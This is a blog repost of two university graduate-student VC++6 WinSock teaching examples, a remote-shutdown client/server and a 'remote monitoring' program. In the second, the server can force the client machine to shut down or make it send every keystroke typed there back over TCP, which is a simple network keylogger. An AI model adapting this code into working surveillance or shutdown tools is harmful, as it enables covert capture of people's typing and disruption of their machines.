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网络远程监控的VC++6编程示例

转自http://210.40.7.188/Source/yckz.asp

计算机研究生开放研究 《网络远程监控的VC++6编程示例》 美国GeneChiu基金资助 网络远程监控的VC++6编程示例

1 远程关机 编程:研究生 吴勇 这是一个可作服务器也可作客户的使用WinSock进行网络远程关机的VC++6程序:

#include "afxwin.h" //使用MFC的字符串类CSting #include "winsock.h" #pragma comment(lib, "wsock32") #include #include "assert.h" #include "iostream.h" CString m_strServer; UINT m_nPort; CString m_strUser; CString m_strPass; SOCKET m_hSocket; SOCKADDR_IN m_addr; void StartUp(); void CleanUp(); void OnOK(); void SendToServer(); void RecvFromServer(); void StartUpS(); void CreateSocket(); void BindSocket(); void Listen_Recv(); void CleanUpS(); int p=0; char buff[100]; char buff1[100]; int strlen(char str[]); char b[100]; char ip[100]; int an=0; void main(){ cout<<"请输入1.开启服务器,输入2.运行客户端:"; cin>>an; if (an==2) { cout<<"请输入服务器IP:"; cin>>ip; m_strServer = ip; m_nPort = 2350; StartUp(); char cc; do{ OnOK(); cout<<"已经与服务器连接成功,向服务器发送数据\n"; cout<<"请输入 G 关机:"; cin>>b; m_strUser =b; SendToServer(); cout<<"发送成功"; RecvFromServer(); cout<<"\n本次通信完成;再来吗(y/n)\n";cin>>cc; }while (cc != 'n'); CleanUp(); } if(an==1) { StartUpS(); CreateSocket(); BindSocket(); Listen_Recv(); CleanUpS(); } } void OnOK() { if(m_hSocket != NULL){ closesocket(m_hSocket); m_hSocket = NULL; } if(m_hSocket == NULL){ m_hSocket = socket(AF_INET, SOCK_STREAM,0); assert(m_hSocket != NULL); } m_addr.sin_family = AF_INET; m_addr.sin_addr.S_un.S_addr = inet_addr(m_strServer.GetBuffer(0)); m_addr.sin_port = htons(m_nPort); int ret = 0; int error = 0; ret = connect(m_hSocket, (LPSOCKADDR)&m_addr, sizeof(m_addr)); if(ret == SOCKET_ERROR){ TRACE("Connect Error: %d \n", (error = WSAGetLastError())); if(error == 10061) AfxMessageBox(_T("请确认服务器确实已经打开并工作在同样的端口!")); return ; } } void SendToServer(){ CString str; str += m_strUser; int ret = send(m_hSocket, str, str.GetLength(), 0); if(ret != str.GetLength()){ TRACE("Send data error: %d\n", WSAGetLastError()); return ; } } void RecvFromServer(){ int ret = recv(m_hSocket, buff1,100, 0); if(ret == 0){ TRACE("Recv data error: %d\n", WSAGetLastError()); return ; } // buff1[ret] = '\0'; // cout< 2 远程监控程序 编程:研究生 唐郑熠 这个个远程监控程序,以命令行“ldc -s”运行时,是作为服务器运行; 以命令行“ldc –c IP”(IP为服务器IP地址)运行时,是作为客户端运行。 服务器向客户端发送指令“A”或“B”,若发送指令A,则客户端控制计算机自动关机; 若发送指令B,则将计算机所有的击键记录下来发送给服务器。 其中,ASCII值为32~128的可见ASCII字符直接输出, 其它的不可见ASCII字符以“(%d)”的形式输出,即括号加上该字符的ASCII值。

#include "afxwin.h" #include "iostream.h" #include "assert.h" #include "winsock.h" #include "stdio.h" #include "conio.h" #include "windows.h" #pragma comment(lib, "wsock32") //编译连接时使用静态连接库wsock32.lib UINT m_nPort; //服务器端口号--16位整数 SOCKET m_hSocket; //服务器进程套接字类 SOCKADDR_IN m_addr; //套接字地址结构 CString m_strServer; //服务器IP地址 //SOCKET m_hSocket; //服务器进程套接字类 //SOCKADDR_IN m_addr; //套接字地址结构 char cmd; void StartUp(); //初始化Winsock的函数:启动Winsock void CreateSocket(); //使用socket函数建立服务器进程的流(TCP)套接字 void BindSocket(); //使用bind函数绑定IP地址到套接字,使网络上可识别该套接字 void Listen_Recv(); //将套接字置入监听模式并准备接受连接进行通信 void CleanUp(); //终止对Winsock DLL的使用,释放资源 void OnOK(); //建立TCP通信套接字并与服务器连接 //void SendToServer(); //向服务器发送数据 //void RecvFromServer(); //向服务器发送数据 void server(); void client(); void shutDown(); //从str的头一个字符往后检查,直到字符'\0'(其值为0)为止,即返回字符串str字符'\0'前的长 int strlen(char str[]); int main(int argc, char *argv[]) { if( argc == 3 ) { if( !strcmp( argv[1], "-c") ) { m_nPort = 2350; m_strServer = argv[2]; client(); } } else if ( argc > 3 ){// invalid args. puts("For server: \n\tusage: echocs [-d]\nFor client:\n\tusage: echocs -c host\n"); return 1; } else { m_nPort = 2350; server(); } return 0; } void server() { printf("2007级唐郑熠—远程控制服务器\n\n"); /** 1 应用程序初始化:注册wsock.dll **/ StartUp(); /** 2 使用socket函数建立服务器进程的流(TCP)套接字: **/ CreateSocket(); /** 3 使用bind函数绑定IP地址到套接字,使网络上可识别该套接字,bind原型为 int bind(SOCKET s, const struct sockaddr* name, int namelen) 其中:s为等待连接的未绑定套接字,name为套接字地址结构,更为有用的是 SOCKADDR_IN,用来标识TCP/IP协议下的地址,这时通过强制类型转换可将 SOCKADDR_IN结构转换为sockaddr结构 **/ BindSocket(); //UpdateData();//更新用户在编辑框里对端口的改变,MFC对话框用 /** 4 将套接字置入监听模式并准备接受连接进行通信:bind只是将套接字与地址关联在一起; 而使套接字进入等候连接则由函数listen完成,listen的原型为: **/ Listen_Recv(); /** 5 关闭套接字,终止对Winsock DLL的使用,释放资源 **/ CleanUp(); } //初始化Winsock的函数:启动Winsock void StartUp() { //初始化全局变量 m_nPort = 2350; m_hSocket = NULL; //初始化winsock WSADATA wsaData; WORD version = MAKEWORD(2, 0); // //调用WSAStartup函数对Winsock DLL进行初始化,协商Winsock版本,分配资源 int ret = WSAStartup(version, &wsaData); if(ret != 0)cout<<"初始化错误!\n"; } void CreateSocket() { //先关闭已经建立的套接字 if(m_hSocket != NULL){ closesocket(m_hSocket); m_hSocket = NULL; } //用socket(构造)函数建立流类型(TCP)套接字 if(m_hSocket == NULL){ m_hSocket = socket(AF_INET, SOCK_STREAM,0); assert(m_hSocket != NULL); //C语言函数,进行判断,若不真,则做出错处理 } } void BindSocket(){ //给服务器结构地址m_addr赋值: m_addr.sin_family = AF_INET; //表示该socket处于Internet域 m_addr.sin_port = htons(m_nPort); //指定服务端口 //sin_addr把一个IP地址保存为4字节的无符号整数, m_addr.sin_addr.S_un.S_addr = INADDR_ANY; //本机测试时可用,即127.0.0.1 //若使用实际IP地址,可用函数inet_addr将其转换为4字节的无符号整数 // m_addr.sin_addr.S_un.S_addr=inet_addr("210.40.7.131"); int error = 0; int ret = bind(m_hSocket, (LPSOCKADDR)&m_addr, sizeof(m_addr)); if(ret == SOCKET_ERROR){ cout<<"Bind Error!\n";//, (error = WSAGetLastError())); return ; } } void Listen_Recv(){ //cout<<"请按一键开始运行服务器"; //char cc;cin>>cc; //while(1){//服务器永远循环服务 //侦听 int ret = listen(m_hSocket, 2); if(ret == SOCKET_ERROR){ cout<<"Listen Error: %d \n";//, (error = WSAGetLastError())); return ; } // SOCKET s = accept(m_hSocket, NULL, NULL); if(s == SOCKET_ERROR){ cout<<"Accept Error: %d \n";//, (error = WSAGetLastError())); return ; } //cout<<"客户连接成功!\n"; //接受客户数据 char buff[1]; ret = recv(s, buff, 1, 0); if(ret == 0 || ret == SOCKET_ERROR ){ cout<<"Recv data error: %d\n";//, WSAGetLastError()); return ; } printf("请选择 A.远程关机 B.远程监控键盘:"); scanf("%c", &buff[0]); cmd = buff[0]; ret = send(s, buff, 1, 0); if (cmd == 'B' || cmd == 'b') { printf("监听到的内容:\n"); while (1) { //侦听 int ret = listen(m_hSocket, 2); if(ret == SOCKET_ERROR){ cout<<"Listen Error: %d \n";//, (error = WSAGetLastError())); return ; } // SOCKET s = accept(m_hSocket, NULL, NULL); if(s == SOCKET_ERROR){ cout<<"Accept Error: %d \n";//, (error = WSAGetLastError())); return ; } //cout<<"客户连接成功!\n"; //接受客户数据 char buff[1]; ret = recv(s, buff, 1, 0); if(ret == 0 || ret == SOCKET_ERROR ){ cout<<"Recv data error: %d\n";//, WSAGetLastError()); return ; } int cnt = 0; if (buff[0] >= 32 && buff[0] <= 128) { printf("%c", buff[0]); cnt++; } else { if (buff[0] == 13) { printf("\n"); } else { printf("(%d)", buff[0]); } cnt++; } } } /** 4 处理客户消息 **/ ///** 回声服务:向客户返回消息(20个字节) //ret = send(s, buff, 20, 0); //**/ // //cout<<"处理完成;服务器重新等待客户连接!\n"; //} } //应用程序关闭套接字后,终止对Winsock DLL的使用,释放资源 void CleanUp() { if (WSACleanup() != 0){ cout<<"UnInitilize Error:%d\n";//, WSAGetLastError()); } } void client(){ // m_strServer = "127.0.0.1"; //_T("127.0.0.1"); // m_nPort = 2350; // m_strUser = "贵大";//ware"; // m_strPass = "Guizhou Univ"; printf("2007级唐郑熠—远程控制客户端\n\n"); StartUp(); //初始化Winsock的函数:启动Winsock char cc; char buff[1]; OnOK();//建立通信套接字 //cout<<"已经与服务器连接成功,向服务器发送数据\n"; int ret = send(m_hSocket, buff, 1, 0); if(ret != 1){ TRACE("Send data error: %d\n", WSAGetLastError()); // cout<<"Send data error: %d\n";//, WSAGetLastError()); return ; } ret = recv(m_hSocket, buff, 1, 0); if(ret == 0){ TRACE("Recv data error: %d\n", WSAGetLastError()); // cout<<"Recv data error: %d\n";//, WSAGetLastError()); return ; } cmd = buff[0]; if (cmd == 'A' || cmd == 'a') { shutDown(); } else { char ch; while(1) { if (kbhit()) { OnOK();//建立通信套接字 ch = getch(); buff[0] = ch; int ret = send(m_hSocket, buff, 1, 0); if(ret != 1) { TRACE("Send data error: %d\n", WSAGetLastError()); // cout<<"Send data error: %d\n";//, WSAGetLastError()); return ; } } } } /*SendToServer();//向服务器发送数据 cout<<"发送成功,服务器返回数据:\n\n"; RecvFromServer();//从服务器接收数据*/ //cout<<"\n本次通信完成;再来吗(y/n)\n";cin>>cc; CleanUp(); //终止对Winsock DLL的使用,释放资源 } //调用socket建立TCP通信套接字并与服务器连接 void OnOK() { //调用socket建立TCP通信套接字 if(m_hSocket != NULL){ closesocket(m_hSocket); m_hSocket = NULL; } if(m_hSocket == NULL){ m_hSocket = socket(AF_INET, SOCK_STREAM,0); assert(m_hSocket != NULL); } //UpdateData(); //给套接字地址结构赋值 m_addr.sin_family = AF_INET; m_addr.sin_addr.S_un.S_addr = inet_addr(m_strServer.GetBuffer(0)); m_addr.sin_port = htons(m_nPort); int ret = 0;// int error = 0; //用connect建立连接,连接成功,返回0,否则返回SOCKET_ERROR ret = connect(m_hSocket, (LPSOCKADDR)&m_addr, sizeof(m_addr)); if(ret == SOCKET_ERROR){//出错处理 TRACE("Connect Error: %d \n", (error = WSAGetLastError())); // cout<<"Connect Error!\n";//, (error = WSAGetLastError())); if(error == 10061) // AfxMessageBox(_T("请确认服务器确实已经打开并工作在同样的端口!")); cout<<"请确认服务器确实已经打开并工作在同样的端口!\n"; return ; } } /*void SendToServer(){ // CString str; str += m_strUser; str += m_strPass; //发送数据,如成功,返回发送的字节数 int ret = send(m_hSocket, str, str.GetLength(), 0); if(ret != str.GetLength()){ TRACE("Send data error: %d\n", WSAGetLastError()); // cout<<"Send data error: %d\n";//, WSAGetLastError()); return ; } }*/ /* void RecvFromServer(){ char buff[256]; /** 接受数据recv函数的返回值: 如无错误,返回接到的字节数(bytes received) 如连接已关闭,返回0 要不然,返回出错处理值:SOCKET_ERROR **/ /* int ret = recv(m_hSocket, buff, 256, 0); if(ret == 0){ TRACE("Recv data error: %d\n", WSAGetLastError()); // cout<<"Recv data error: %d\n";//, WSAGetLastError()); return ; } buff[ret] = '\0';//ASCII值为0的字符:'\0' cout<<buff<<endl;//显示服务器送回数据 //AfxMessageBox(buff); }*/ //应用程序关闭套接字后,终止对Winsock DLL的使用,释放资源 /*void CleanUp() { if (WSACleanup() != 0){ TRACE("UnInitilize Error:%d\n", WSAGetLastError()); // cout<<"UnInitilize Error:%d\n";//, WSAGetLastError()); } }*/ //从str的头一个字符往后检查,直到字符'\0'(其值为0)为止,即返回字符串str字符'\0'前的长 int strlen(char str[]){ int i=0; while(str[i])i++; return i; } void shutDown() { TOKEN_PRIVILEGES tkp, tkpnewbutignored; HANDLE hdltokenhandle; LUID tmpluid; BOOL rc; DWORD lbufferneeded; HANDLE hdlprocesshandle = GetCurrentProcess(); rc = OpenProcessToken(hdlprocesshandle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hdltokenhandle); rc = LookupPrivilegeValue("", "SeShutdownPrivilege", &tmpluid); tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = tmpluid; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rc = AdjustTokenPrivileges(hdltokenhandle, FALSE, &tkp, sizeof(tkpnewbutignored), &tkpnewbutignored, &lbufferneeded); ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE, 0); }

posted on 2011-06-10 13:58 厚积薄发 阅读(685) 评论(0)  编辑 收藏 引用 所属分类: 网络编程


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